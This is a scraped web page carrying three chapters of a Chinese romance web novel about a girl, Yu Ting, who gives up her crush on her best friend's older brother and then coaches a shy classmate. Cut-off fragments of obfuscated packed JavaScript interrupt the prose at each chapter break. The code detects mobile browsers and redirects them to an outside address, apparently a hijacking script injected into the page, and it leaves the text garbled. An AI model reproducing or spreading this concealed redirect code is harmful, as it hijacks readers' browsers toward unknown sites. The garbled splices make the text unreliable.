l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560500|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表的眼界、学识与生活阅历的差别。 在她还在学校这座象牙塔里学习时,方嘉年已经进入职场,成为一名社会人。他有自己的生活圈,有自己的交际,未来,他还会有女朋友。他们眼中见到的世界是不一样的,在人生这条道路上,他已经领先了她一大步,并不会在原地等待她,他会与自己步调一致的女人恋爱、交往,最后迈入婚姻的殿堂,结婚生子,相伴到老。 会是上次见到的那个女生吗? 想起二人并肩离开的背影,虞听还是会隐隐感觉到心痛,她无法想象真的等到方嘉年结婚的那一天,她会是什么表情,大概是在他的婚礼上哭到昏厥过去吧。 也许是时候放弃这场毫无结果的单恋了。 虞听且叹且怜,还偷偷流泪,打湿了方嘉岁的枕头,一夜辗转难眠,直到凌晨三点才睡着。 第二天醒来,眼睛肿得像馒头。 时间还早,才七点钟,她却怎么也睡不着了。 方嘉岁睡得正香,她也不打扰,从衣柜里随便找了件连帽衫套上,戴上帽子遮住乱糟糟的头发。 来到客厅,她拉开冰箱门,半个身子都探了进去,却没找到想要的东西。 “想喝酸奶吗?” “妈呀!!!” 突然出现的低沉男声吓了虞听一大跳,手里握着的一罐黄桃罐头也掉了下去,眼见要掉在地上,一只大手及时隔空捞住,避免了罐头在地上砸碎的命运。 “小心点,差点就受伤了。” 方嘉年将罐头放进隔层里,他的个头比双开门冰箱还要高,可以轻松将罐头藏到虞听碰不到的地方。 “什……什么时候回来的?”虞听还陷在被吓到的余韵里,惊魂甫定。 “有一会儿了,一直在客厅,你没看见我。” “……” 这合理吗?他这么大的个头,存在感如此强烈,她居然没注意到? 虞听陷入自我怀疑,却蓦然对上一双漆黑深邃的眼睛,她猛地回神,心跳到嗓子眼。 下一秒,专注地盯着她看的方嘉年突然伸出宽大的手掌,在她头顶轻轻摸了摸。 “……” 虞听马上反应过来,这又是在把她当小孩儿了。 她不耐烦地挥开方嘉年的手:“嘉年哥,我不是小孩子了。” 不要再对她使“摸摸毛,吓不着”的招数了。 方嘉年笑了笑,没有与她争辩。 他的眼底带着浓浓青黑,貌似没有睡好。 虞听一下想起方爸爸说他最近去了急诊科,忙得连睡觉的时间都没有,忍不住问他:“哥哥从医院回来的吗?” “嗯。刚下夜班。” 那为什么不留在医院宿舍补觉,还要专程回来一趟? 虞听心疼坏了:“那快去睡觉吧,你的黑眼圈都要掉到脚后跟了。” “是吗?”方嘉年被她的形容逗笑了,“不过不着急,先去便利店一趟吧。” “去干什么?” “去买你要喝的酸奶,”方嘉年看一眼冰箱,“最近有阵子没回来,忘记补货了。” 5. 单相思05 从认识的那一天起,方嘉岁就一直是虞听最好的朋友,两人亲密无间,无话不谈,但方嘉岁不知道,虞听有个瞒了她多年的小秘密。 小的时候,虞听经常来方家玩耍做客,玩着玩着天色就黑了,方爸方妈总是会留下她过夜,在方嘉岁的衣柜里,甚至备着一套她常穿的睡衣。两个孩子睡一张床,就像从小一起长大的姐妹一样。 方嘉岁很能睡,如果不叫她起床,能一觉睡到大中午。而虞听受爸爸妈妈的影响,总是早睡早起,作息良好。 在方家跟她一样习惯早起的人,还有方嘉年。 清晨六点,太阳还未完全升起,宽敞的客厅里半明半昧。两个早起的人一大一小,坐在沙发上,穿着睡衣面面相觑。 后来不知从哪一天起,方嘉年会牵着虞听的手,带她去小区门口的便利店买早餐吃。 便利店琳琅满目的货架对孩子的诱惑是极大的,何况虞听自小就是个嘴馋的孩子。 巧克力、金枪鱼沙拉饭团、冰激凌面包……每一样她都想要,每一样她都想吃,而不论她要什么,方嘉年总是全部买单。 “哥哥,我们要不要给岁岁带点回去啊?” 虞听因为独占这些好吃的而感到羞愧,因为爸妈从小对她的教育就是好孩子不该吃独食,要大方地同朋友分享。 “不行哦,”方嘉年手指灵巧地剥开一粒玻璃糖,塞进她的嘴里,“方嘉岁最近被下了禁令,不允许吃零食。” 虞听含着他给的糖,一侧脸颊微微鼓起,就像藏着松果的小松鼠。 她偏着头,口齿不清地问:“为什么?” 方嘉年被她可爱到了,揪了揪她鼓囊囊的脸颊:“因为她糖吃得太多,长蛀牙了。” “……” 含着糖的虞听表情微微凝固了:“那我也会长蛀牙……” 难道嘉年哥是不想自己的妹妹长蛀牙,所以才把所有的糖都给她吃掉么? 方嘉年扑哧笑了:“因为方嘉岁不听话,吃了糖不好好刷牙,才长蛀牙的。可听听是乖孩子,不会像她这样,吃了糖一定会乖乖刷牙的,对不对?” “……嗯!” 那当然了!她一直都有好好刷牙的,早晚都刷。 听了方嘉年的话,虞听决定以后一定要更认真地刷牙。 “那我们拉钩,哥哥带你出来买好吃的事,不要告诉方嘉岁。” 方嘉年伸出小手指,太阳升起来了,他唇角含笑的模样在金色的阳光下显得分外耀眼。 虞听伸出手指,郑重其事地与他拉钩盖章。 那一天,两人有了彼此共享的第一个秘密。 *** “听听进去自己挑吧,我就在外面,可以做到吧?” 听到这叮嘱,虞听心头的无语感又来了:“哥,我十八岁了,不是八岁。” 现在八岁的孩子都能自己逛超市了。 方嘉年又笑了,掏出钱包递给她:“结账用这个。” 看着手里的钱包,虞听一时不知该说什么好,过了半晌,才小声说:“难怪岁岁给你的备注是提款机。” “什么?”方嘉年没听清。 “没什么,”虞听抬起头,“哥哥有想要的么?” “没有,挑你喜欢的拿。” “行。” 虞听干脆利落地点头,揣着钱包进去了。 便利店凌晨才补完货,现在货架上塞得满满当当。虞听进去后先直奔冷藏区,挑了她早上想喝的那款大果粒酸奶。 她一直有早晨起床后先喝一杯酸奶的习惯,而这款酸奶是她的心头好,这么多年未曾变过。 方家的冰箱里总是会备着这种酸奶,虞听也习惯了醒来之后去冰箱里拿一罐。她一直以来都以为是方家人也偏好这款酸奶,直到今天才隐隐约约意识到,或许不是,或许那个在冰箱里放入这款酸奶的人,是方嘉年。 真讨厌。 她曾经因为方嘉年的这份温柔细心而心动,如今却因为同样的原因而痛苦。 太讨厌了,因为太喜欢了……所以讨厌。 讨厌他对她这么好,让她喜欢上他之后,又要戒掉这份喜欢。 虞听站在货架之间,忍不住抬头去寻找方嘉年的身影。 隔着玻璃窗,她看见了站在便利店外的人,他穿着黑色连帽衫,手指间夹着一根烟。 第一次见到方嘉年抽烟时,虞听相当震惊。 方嘉年是学校里的优等生,是父母眼中器重的长子,他是会被用来当做“别人家孩子”的典型,人生也必将按照模范生的道路按部就班走下去。 可虞听没想到,这样优秀自律的他竟然也会背着人偷偷抽烟,就像学校里那些小混混一样。 虞听见过学校里的那些不良少年抽烟,他们总是聚集在一处,大声聊天说笑,嘴里脏话齐飞,偶尔还唾出一口浓痰,在长得漂亮的女生们经过时,还会往她们脸上自以为帅气地吐个烟圈。 他们不过是拙劣模仿着成年人的孩子,即使抽烟的姿势再标准,再怎么像个老烟枪,身上也有种可笑的幼稚。 可方嘉年不是那样的。 他抽烟时很安静,白色烟雾静静围着他缭绕,因为姿态太过安静,侧影看上去竟有几分孤独的味道。 可是为什么呢? 他分明如此优秀,家境优良,父母恩爱,是出生在罗马的孩子,为什么他身上会有如此奇异又矛盾的气质呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560501|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虞听去收银台结了账,随后走出便利店,走到方嘉年身前。 方嘉年立刻将手里的烟灭了,即使还剩下一大截。 “买完了?” 他垂眼看向虞听手里唯一拿着的酸奶,有些惊讶:“只吃这个?” 他皱着眉,正想说些什么,却被虞听的出声打断。 “嘉年哥。” “……嗯?” “有件事我很早就想告诉你了。” “什么事?” 虞听低头盯着自己的鞋尖:“我有个喜欢的人。” “……” “我很喜欢那个人,真的……很喜欢很喜欢。但是,最近才知道,他有喜欢的人了……当然不是我。” “……以后会有更合适你的人。”沉默良久,方嘉年给出了这样一句安慰。 虞听点头,仿佛认同了他的话。 “可是哥哥,你知道吗?我第一次知道自己这样坏。得知那个人有女朋友的时候,我的第一反应不是祝福他,而是诅咒。我诅咒他和那个女生快点分手,我想将他从别人手中抢过来。” “……” “我想,我做不到祝福他,死也做不到。但是我也没办法把他抢过来,对那个女生太不公平了,我无法心安理得地做个坏女人。所以……所以,我能做的事情,好像只有一件了……” 鼻腔发出小狗一样的呜咽,方嘉年终于意识到了不对,虞听说话时一直低着头。 双手托住小巧的下巴,他想让虞听抬起头来,可虞听却固执得很,与他的大手作对。 动作间,一滴眼泪如脱线珍珠般飞出眼眶,先是砸在他的手背上,留下灼烧一般的疼痛,随即流淌去地上。 “虞听,”方嘉年罕见地叫了她的大名,语气严厉,“抬头。” 最终在他的强硬动作下,虞听被迫抬起了头。 戴着抽绳帽子的脸被遮得只有巴掌大,鬈曲的刘海就如狗毛一样凌乱地耷拉在额头上,最精彩的是那双红彤彤的眼睛,被泪水洗刷得干净透亮,还蒙着一层稀薄的泪液,似乎马上就要从眼眶中坠落,鼻头也红,像鲁道夫一样。 她吸着鼻子,盖住方嘉年捧在她脸颊两侧的大手。 像有些依恋,却又透着决绝的姿态。 “我放弃了,哥哥。” ——我放弃你了,也放弃了这段漫长又无望的单恋。 “从今天起,我……不再喜欢那个人了。” ——虽然很难,但我决定,不再喜欢你了。 可是还是想让他知道,她曾经这样喜欢过他,所以用了这种可笑的方式来表白。 然后,随着夏天的终结,她的暗恋也彻底宣告结束了。 6. 单相思06 曾经有一部热映的国产电影,名为《失恋33天》,说的是治愈一段失恋只需要33天。 虞听正在经历的不是失恋,而是单相思,是一段还没见光就胎死腹中的暗恋。 她不知道自己需要多久才能被治愈,要经历多少个33天,才能从这种状态中走出来。 告别单恋的第一天,她水米不进,泪流成河。 第二天,她把自己关在房间,黯然神伤。 第三天,眼泪流不出来了,肚子也饿了。在爸妈忧心忡忡欲言又止的注视下,一言不发地吃完了两大碗米饭。 这之后,她每天照常上学,按时吃饭,好像与平时也没有什么不同。 然而,在极偶尔的瞬间,在某个夜深人静的夜晚,还是会因为看见与方嘉年相关的某件物品,或是想起一段与他的回忆,而心脏抽痛,默默流泪。 她能感觉到爸妈每天都在看她的眼色,一副想与她谈心,又怕触动她情绪的样子。 虞听其实想与他们说自己没事,可每当要开口时却又失去了力气,感觉自己成了不孝女。 就这么自我拉扯着,突然有一天,她接到了舅舅的电话。 “小家伙,你失恋啦!” “……” 虞听脸色爆红,有种童年时代披着床单演琼瑶剧,念着矫情台词时,突然被大人抓包的羞耻感。 “我没有!”她几乎是恼羞成怒地吼出这句话。 都没恋上呢,怎么失! “没有就没有,这么凶。” 舅舅以大人的口吻教育她:“没有最好,男人都不是什么好东西,你爸妈快被你吓死了,还以为你被什么渣男欺负了,号召咱们全家人想办法呢。” “……” 丢脸都丢到家族群去了,虞听再次为爸妈的小题大做感到头疼,又生气舅舅那幸灾乐祸的语气,幽幽道:“男人都不是什么好东西,舅舅也是,所以才拖到这把年纪结婚的吧。” 虞听的舅舅今年三十七岁,他前年成婚,去年生子,算是家里晚婚晚育的典型。 虞听和他年龄相差不太多,她出生的时候,舅舅还在读大学。妈妈那时忙于工作,经常加班,就把照顾她的任务交给了弟弟。 虞听还在吃奶时就被舅舅抱着去学校,好在她从小就不哭不闹,只要有奶瓶,能安静待一下午。舅舅上课,她就在他的臂弯里睡觉。所以舅舅后来总是喜欢开玩笑,说虞听是他奶大的。 两个人关系很好,舅舅也没什么长辈架子,所以虞听在他面前说话向来无所顾忌。 果然男人并没有生气,反而在电话那头哈哈大笑:“说什么呢,你舅妈就在旁边听着呢。” 虞听:“是啊,对舅妈好点吧,省得舅舅老了还要打光棍。” 舅舅:“……我看你说话嘴巴利索得很,根本不像你爸妈说的那样。” 虞听:“……” 不得不说,这么一插科打诨,虞听低落的心情确实好了很多。 这么一聊,舅舅也知道她没事了,说:“得,我看你好着呢,就别让你爸妈操心了。今年过年来这边玩,舅舅带你去唱k。” 电话挂了,虞听也恢复了正常,认真地向爸妈道了歉,抱歉这段时间以来让他们担心了。 老爸老妈听得两眼泪汪汪。 虞爸放下心的同时,又吃起了大舅子的陈年老醋:“宝宝以后有心事,也可以跟爸爸说啊,爸爸最近在研究心理学书籍,很有心得体会……” 话没说完,就被虞妈一记肘击顶回了肚子里。 虞听这段日子上学上得浑浑噩噩,不知不觉间,深秋居然来临了,临江大学的银杏树都泛黄了,金黄色叶子在地上堆叠了厚厚一层,就像金色的被子。 虞听之前还很担心自己谎称是方嘉年女朋友的事传开怎么办,但谣言并没有传出来,大家都忙着做自己的事,看来匡义守口如瓶,真不愧这个义字。 虞听对他非常感激,所以近日碰上这位班长,总会向他微笑,表示友好。 “……” 匡义悚然而惊。 他一定是哪里得罪过虞听吧?不然为什么老是笑得让人头皮发麻? 吓得匡义最近见了她就躲。 与他一样,虞听最近也有个在躲的人。 “你是不是在躲着我哥?” 中午吃饭的时候,方嘉岁开门见山地问。 “啊?没有啊……” 虞听开始装傻,连她自己都觉得演技太差了,表情和语气都那么僵硬,跟此地无银三百两有什么区别。 果然方嘉岁不信:“那你为什么最近都不来我家玩了?” “我有事嘛。” “什么事?” “……” 泪流成河,歇斯底里,黯然神伤,缅怀她还没开始就逝去的初恋。 虞听闭口不言,满脸都写着心虚。 见她这副模样,方嘉岁撇撇嘴:“随便吧,你们一个两个都这样。” “还有谁这样?” “方嘉年啊,”像是想起什么,方嘉岁皱着眉,满脸嫌弃,“他最近跟疯了一样。” “……” 乍然听到这三个字,虞听的心脏还是会有抽痛的感觉。 说得轻松,做到却难,嘴上信誓旦旦,说要跟过往的一切一刀两断,从此洗心革面,重新做人。可实际做起来却并不容易,过去的回忆并不是那么好斩断的,身体还保留着单恋他的惯性,对有关他的一切事情都格外关注。 虞听沉默地盯着餐盘,藏在桌下的手掌却被指甲抠出了血印。 “嘉年哥……他怎么了?” 方嘉岁神情一言难尽:“他打了眉钉。” “……啊?” 虞听迟钝又茫然地抬起了头。 *** 虽然不想在方嘉岁面前承认,但她说的没错,虞听确实在躲着方嘉年。 躲避他的第一个方法,就是尽量少去方家。 其实认真计较起来,她和方嘉年最多的接触就是在方家了。因为两人差着六岁,所以几乎不同校,若是当初方嘉岁没有带她回家,她压根就没有认识方嘉年的机会。 只要不再去方家,他们也不会再见面,就如两条相交的轨道,在一次偶然的交集过后,就会彼此错开,渐行渐远。 ——虞听原本是这么以为的。 可是,谁能来告诉她,为什么最近总是能看见方嘉年啊? 他在医院那么忙,为什么每天还有空来学校? 临江大学这么小的么?艺术学院与医学院相隔那么远,为什么还是能撞见他? 难道这就是所谓的墨菲定律?喜欢他的时候一个月都难得见上一次,等要斩断这段感情的时候,却每天低头不见抬头见? 她当初可不是为了这样才拼命考入临江大学美术系的啊! 当看见那个熟悉身影从电梯里出来的那一刹,虞听连储存柜都顾不上关了,随便往帆布包里塞了两本书,就急匆匆地跑路了。 “虞听!” 偏偏身后还传来他的声音,喊的还是平时很少喊的她的大名。 虞听六神无主之际从艺体楼大厅的仪容镜那里瞥见了方嘉年的身影,他追了上来,面色沉得像要往下滴水,虞听第一次见到他这么凶的样子。 人一慌张就容易做错事,比如虞听明明只是想偷偷摸摸地躲着他,被发现了也没什么,大大方方地打个招呼就行了,可当方嘉年追过来时,她的脑子就像被触发了什么底层代码,动物的原始本能开始发挥作用,双腿步伐不由自主地加快,到最后竟然跑了起来。 “虞听,还不给我站住——” 方嘉年见她跑也大步追了上来,他那双大长腿一步能抵虞听三步,两人之间的距离很快缩短。 虞听简直要吓坏了,就跟犯罪电影里被杀人狂尾随的受害者一样,一边拼命跑,一边回头喊:“为……为什么要追我?” “看前面!”方嘉年被她吓得心惊胆战,忍不住吼了出来。 虞听扭过头继续跑:“哥哥别追了!” 方嘉年:“你不跑我就不追了!” 虞听:“你……你别追了,我就不跑……” 两人追逐时进行了一番无意义的对话,虞听的体力也已经到了极限,比体测跑800米还累。 “我不追了,你也停下来!” 方嘉年怕她再跑下去会受伤,率先停住了脚步。 两人隔着一座喷泉对视,虞听气喘吁吁。 这是神经高度紧张的心理战,四目相对数秒,虞听突然扭身向前跑去。 这里是艺体楼附近的银杏广场,往下就是一个大陡坡,修了几十级台阶。 方嘉年就是不想让她在这么危险的地方跑才主动停下,却没想到她看也不看扭头就跑,脸色瞬间变得煞白。 “小心——” 他眼睁睁看着虞听从台阶上踩空滚了下去。 万幸的是,只滚了一两级,虞听就控制住了身形。她一跤跌坐在台阶上,还没来得及感受到痛意,一个影子就笼罩下来,扶住她的身体。 “哪里受伤了?痛不痛?” 急切的声音在耳边响起,话语中的焦躁就像她不是在台阶上跌了一下,而是出了什么重大车祸。 “我问你哪里痛?怎么不回答?摔到头了吗?意识不清醒了?” 眼见方嘉年要来检查她的瞳孔,虞听连忙叫道:“哥!哥,手……” “手痛吗?” “不是……是你的手,捏痛我了……” 方嘉年这才发现自己正紧紧抓着她的手臂,于是赶紧松开。 “对不起,哥哥见你摔倒,太紧张了。还有哪里痛吗?” 不用他说,虞听也看出了他的紧张。这个一向淡定从容的人,此刻居然急出了汗,脸色也苍白如鬼。 虞听一下就心软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560502|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,也忘记了自己刚刚还在避着他,就像小时候跟他撒娇那样,说:“腿有点疼……” “哪条腿?” “右腿。” 方嘉年将她的右腿捞起来,小心翼翼地放在自己膝上,从脚踝一路往上摸到膝盖,虞听才轻轻“嘶”了一声。 他以轻柔的手法卷起虞听的裤子,果然膝盖处破了皮,血丝冒了出来。 方嘉年眉头一拧:“去医院吧。” 虞听简直惊呆了,这点小伤,放着它不管五分钟就能愈合了,有严重到需要去医院的地步吗? 她连忙制止方嘉年来抱自己的手。 “哥,不用了!真的!就是磕破了点皮,回去涂点碘伏就好了!” “不知道骨头的情况,要拍片检查一下。” “我骨头不痛啊。” “最好还是去检查一下。” “……” 他语气强硬,坚持要求去医院,似乎是来真的。 ……哥哥以后要是成了医生,真的不会被患者投诉吗?区区破皮就要拍片检查,那流血岂不是就要住院了? 眼见说服不了他,虞听只能耍起了赖:“我不去医院,我讨厌去医院……” 然而这一招却神奇地奏效了。 “怎么还是跟小孩子一样。” 方嘉年笑了,想了想,拿起旁边的随身包。 “我先帮你处理一下膝盖上的伤口,如果后续感到疼痛的话,一定要说,哥哥带你去医院。” 他从包里掏出了碘伏和医用棉签,甚至还有一瓶没喝过的矿泉水。 “先冲洗一下,会有些刺痛,忍一忍,很快就好。” 说完拧开矿泉水瓶盖,往虞听的伤口上以极细的水流冲洗。 其实一点也不痛,虞听不知道他为什么说得好像她会痛死一样。 但脑海里却推翻了刚刚的想法,她想方嘉年以后要是成了医生,一定会是医院里最受欢迎的医生,对患者说话的语气这么温柔,哪怕是让人不打麻醉上手术台也愿意。 “为什么随身带着这些东西?” 虞听看着地上装备齐全的医疗用品问。 “以前有个孩子走路经常摔跤,就习惯了在包里备上简单的急救药品。” 方嘉年以专业手法往她的伤口上涂碘伏,一边涂着,还一边吹气,就像对待受伤的小孩子一样。 伤口不仅没感觉到疼,还带来一阵痒酥酥的凉意,虞听忍不住缩了缩腿。 “疼?” 方嘉年抬头询问。 “不疼……” 回答的间隙,因为他这一抬头,虞听发现了刚才未能看清的细节。 他竟然真的在右眉末梢打了颗眉钉! “……” 虞听惊呆了。 仔细看的话,他的头发也剪短了,露出俊朗的眉眼,饱满的额头,两侧甚至能看见剃得趣青的头皮。 不知是不是最近太忙睡眠不足,眼底的阴影更重了,显得他整个人更加冷峻。 为什么突然换风格了?还打眉钉?难道是为了女朋友才改变的么?那个女生喜欢这样的类型? 嫉妒与心酸一齐涌上心头,看着认真为她处理伤口的男人,眼里也不自觉带上了怨气。 有女朋友还对她这么温柔,这不就相当于放一块吃不着的红烧肉在眼前诱惑她么? “哥哥以后还是适当跟女孩子保持点距离吧。” 虞听语气冷漠,藏在心底的话就这么脱口而出。 方嘉年为她贴创可贴的手一顿,有些好笑地抬眉:“什么?” 虞听:“哥哥长得这么帅,如果还对女孩子这么温柔亲切的话,这是在犯罪,你知道么?” 方嘉年:“……” 就像一吐心中郁气,虞听越说越顺畅:“男孩子在外面也要守男德,中央空调是最要不得的行为。就像哥哥刚才说,有个孩子容易摔倒,就在包里备了急救药品,难道看见街上每一个孩子摔倒了,哥哥都要去救吗?这样的话,哥哥的……” 她实在说不出“女朋友”这三个字,嫉妒得好像肠子都要烂穿了,只能含糊过去:“那个谁……她难道就不会生哥哥的气么?” 方嘉年:“嗯,感谢赐教,不过听听啊,你难道忘了?” “嗯?” “我说的那个容易摔跤的孩子,就是你啊。”男人含着淡淡笑意道。 虞听小的时候确实容易摔跤,经常把自己摔得一身青紫,家里人还以为她小脑发育出了什么问题,急得带去医院检查。结果显示这孩子很健康,就是身体平衡能力不怎么好。这并不影响生活,只要平时走路注意点就行了。 所以虞听从小走路就慢腾腾,而且出门习惯性挽着别人,跟父母出门就挽着爸爸妈妈,跟方嘉岁出门就挽着她,在她还是个小学生的时候,方嘉年也牵过她的手。 只是不知道从哪一天起,他就再也没有牵过她了。 7. 单相思07 周末,虞听正躺在家里打游戏,方嘉岁发来一条链接,是某平台的电影购票信息。 片名:《你和我的罗曼史》 猫咪不吃鱼:这是干吗? 猫咪不吃鱼:你不是不爱看这种电影的吗? 这片名一看就是那种让人掉鸡皮疙瘩的浪漫爱情剧,作为二次元资深宅女的方嘉岁最讨厌这种类型的电影了。 岁岁:我不去。 岁岁:你和这个人去。 说完发来了一个微信名片。 虞听点进去一看,是个长颈鹿的卡通头像。 猫咪不吃鱼:这是谁? 方嘉岁发来一条语音:“上次不是说要给你介绍男生么?这个人我暗中观察有一阵子了,虽然配不上你,但也勉勉强强吧,可以接触一下。” 虞听:“……” 她居然是认真的?“暗中观察”是什么意思,她该不会对人家做了什么奇奇怪怪的事吧! 猫咪不吃鱼:还是算了吧,我又不认识人家…… 突然就要一起去看电影,很尴尬的好吗? 岁岁:就是因为不认识,所以才要你去认识一下。 岁岁:不是说失恋了么,走出失恋最好的办法就是开启下一段恋情! 虽然听上去很不靠谱,但这就是方嘉岁的逻辑。 唉,要真是那么容易忘记就好了,而且为了走出失恋带来的阴影,就转头去认识新的人,这不是对人家很不尊重么? 岁岁:我已经跟对方说了,你也快点打扮一下出门吧。 虞听无法说服她,只能选择先加上那个男生的微信。 好友申请很快通过,男生率先发来消息。 Mountain:你好。 非常简洁的打招呼方式,后面没有跟任何表情包,甚至还打上了标点符号。 要不是他那个卡通头像,虞听几乎要以为这是个爸爸妈妈辈的人。 虞听发去一个小猫挥爪的表情包。 猫咪不吃鱼:你好你好!我是岁岁的好朋友,我叫虞听! Mountain:我是方嘉岁的体育课同学,我叫高山。 原来是一起上体育课认识的啊…… 她就说呢,方嘉岁怎么会认识新的男生,她最讨厌社交了,除了二次元纸片人和自己的哥哥方嘉年,年轻男性这种生物在她周边几乎是灭绝的。 看来是为了给她介绍男朋友,主动去接触认识了高山。 虞听真不知道是该为好友这番举动而感动,还是感到无奈。 正绞尽脑汁地编辑着文字,想要跟对方取消看电影的约定,谁知那边先她一步发来消息。 Mountain:我已经到电影院这边了,你可以慢慢过来。 后面跟着一个地址。 虞听:“……” 离电影开场时间还有那么久!他怎么这就到了? 既然都到电影院了,虞听做不出让人家打道回府的事情,这下赶鸭子上架,不去也得去了。 她从衣柜里挑了套衣服,也没有化妆,稍微拾掇一下就出门了。 到了商场,虞听按发过来的定位找了过去,因为并不知道高山的长相,正要给他发消息说自己到了时,背后响起一道粗犷声线。 “请问是虞听同学么?” 虞听回头,吓得后退半步。 哇,这人真高!快跟方嘉年差不多个头了。 高山人如其名,长得又高又瘦,一身健康的小麦色肌肤,看上去很有青春男大的气质。 “叫我虞听就好。” 高山点点头:“先去喝点东西吧,附近有家咖啡厅。” 虞听下意识反问:“还要喝咖啡么?” 高山:“离电影开场还有一个小时,你要先过去么?” 这倒不是……只是这项安排在她的计划之外。 不过来都来了,如果提前去电影院干等反而让人尴尬,还不如先找点事做。 两人去了咖啡厅,点了两杯喝的,在窗边的位置坐下。 因为之前没见过,完全不熟,所以先交换了一下各自的专业信息。 原来高山是体育系的新生。 说完这个就没得聊了,咖啡店里客人不多,空气安静得令人尴尬。 虞听冥思苦想,终于找到一个与两人都有关的共同话题。 “你与岁岁是怎么认识的?” 高山一板一眼地回答:“我们一起上羽毛球课,老师让分组练习,方同学过来问我要不要和她组队。” 原来如此,虞听点点头,看他的眼神带了点同情:“跟岁岁组队打羽毛球,很辛苦吧?” 方嘉岁运动神经并不好,因为常年宅在家,体力也不太行,偏偏她的胜负欲特别强,往往弄得人十分疲惫,就连方嘉年耐心这么好的人,自从小时候带她打过一次网球之后,再也不肯陪她打了。 跟方嘉岁做羽毛球搭子只有一个下场,那就是成为她无情的喂球机器。 高山犹豫着说:“方同学技术不算好,但很有毅力。” 虞听:“……” 说完这个又没下文了。 虞听算是发现了,高山并不算特别健谈的类型,不会主动寻找话题,人比较老实寡言。 硬生生又捱了十多分钟,高山看了眼手腕上的运动手表,说:“电影快开场了,我们先过去吧。” 其实虞听已经不想去看电影了,两人完全没有话聊,能在这坐十多分钟已经是她的极限。 “要不……咱们还是别看电影了?” 她只是随口提议,并认为高山应该也不会拒绝,因为她看得出这个男孩子对自己毫无兴趣,只不过出于义务陪在这里。 可没想到,她猜错了。 在听到她的话后,高山惊慌地抬起了眼:“请问……是我哪里做错了吗?” 这反应在虞听的意料之外,她比他还要慌乱:“啊?没……没有啊……” “那可以一起去看电影吗?”高山用恳求的眼神看着她。 他这么想看电影的吗?可他表现出来的明明不是这个样子啊。 虞听有些不解:“有非要去看的理由吗?” 高山:“因为方同学要我跟你一起去看电影。” 虞听:“……” 脑海里电光火石闪过什么,虞听突然明白过来:“你……你不会喜欢岁岁吧?” 根本不需要回答,因为高山的反应已经说明了一切,虞听眼睁睁看着他黝黑的面皮泛起两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560503|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团可疑的红晕。 天呢,方嘉岁这是在做什么,她不知道这个男生其实是喜欢她的吗?! 虞听快要晕倒了。 “你为什么不告诉岁岁?”虞听简直无法理解,“你喜欢她,还来跟她的好朋友约会?” 高山惭愧地低下头:“可是如果不来的话,她就去找别人了。” 虞听眨眨眼,过了一两秒才反应过来他的意思。 看来为了给她找到男朋友,方嘉岁居然还是广撒网! 根据她对好友的了解,这个人一定是先暗中观察周围的男生,看到顺眼的就上前去搭讪,如果对方有女友或没有恋爱计划,她一定扭头就走,毫不犹豫,继续寻找下一个目标。 高山就是她网里的一条鱼。 他喜欢方嘉岁,却没有表白的勇气,担心自己一旦坦白,方嘉岁就会将他放生回水里,转而去钓别的鱼,所以他只能来与虞听约会,以维持两人之间微弱的联系。 “看来我还成了你俩的工具人,”虞听揉了揉脸,“来喝咖啡也是岁岁给你出的主意?” 高山满脸歉疚地点头:“是的,对不起。” “你这样不行啊,”虞听都替他发愁,这人也太老实了吧,“岁岁在感情上很迟钝的,你一直不告白,到时候她真以为你喜欢我了。” 她总不能当一辈子的工具人吧。 “你要主动进击。” “可以教教我吗?” 高山望着她,皮肤黑里透红:“我……我不太会追女生,也不会说话,嘴太笨了,不知道怎么讨她的欢心……” 看着眼前卑微又恳切的男生,虞听知道这下不用担心没话题聊了,因为方嘉岁会是他们接下来唯一的话题。 “追求女生要投其所好。岁岁平时喜欢追动漫、网漫,你对这些有涉及么?” 电影即将开场,两人从咖啡厅转移到了电影院大厅,虞听的恋爱课程还在继续。 高山茫然地摇摇头。 虞听半点也不惊讶,他一看就是那种脑子里只有运动的直男。 “不知道可以去了解一下,我回头发你几部动漫和漫画,你多看看,下次跟岁岁上羽毛球课时,自然地聊起这些,她马上就会跟你无话不谈的。” “但是有一点,千万不要反驳她,尤其是不要拆她的本命。” “本命是什么?”高山疑惑发问。 虞听只好又跟这个直男解释了一些二次元术语,特别强调了这一点的重要性,不然从无话不谈到反目成仇只是一瞬间的事。 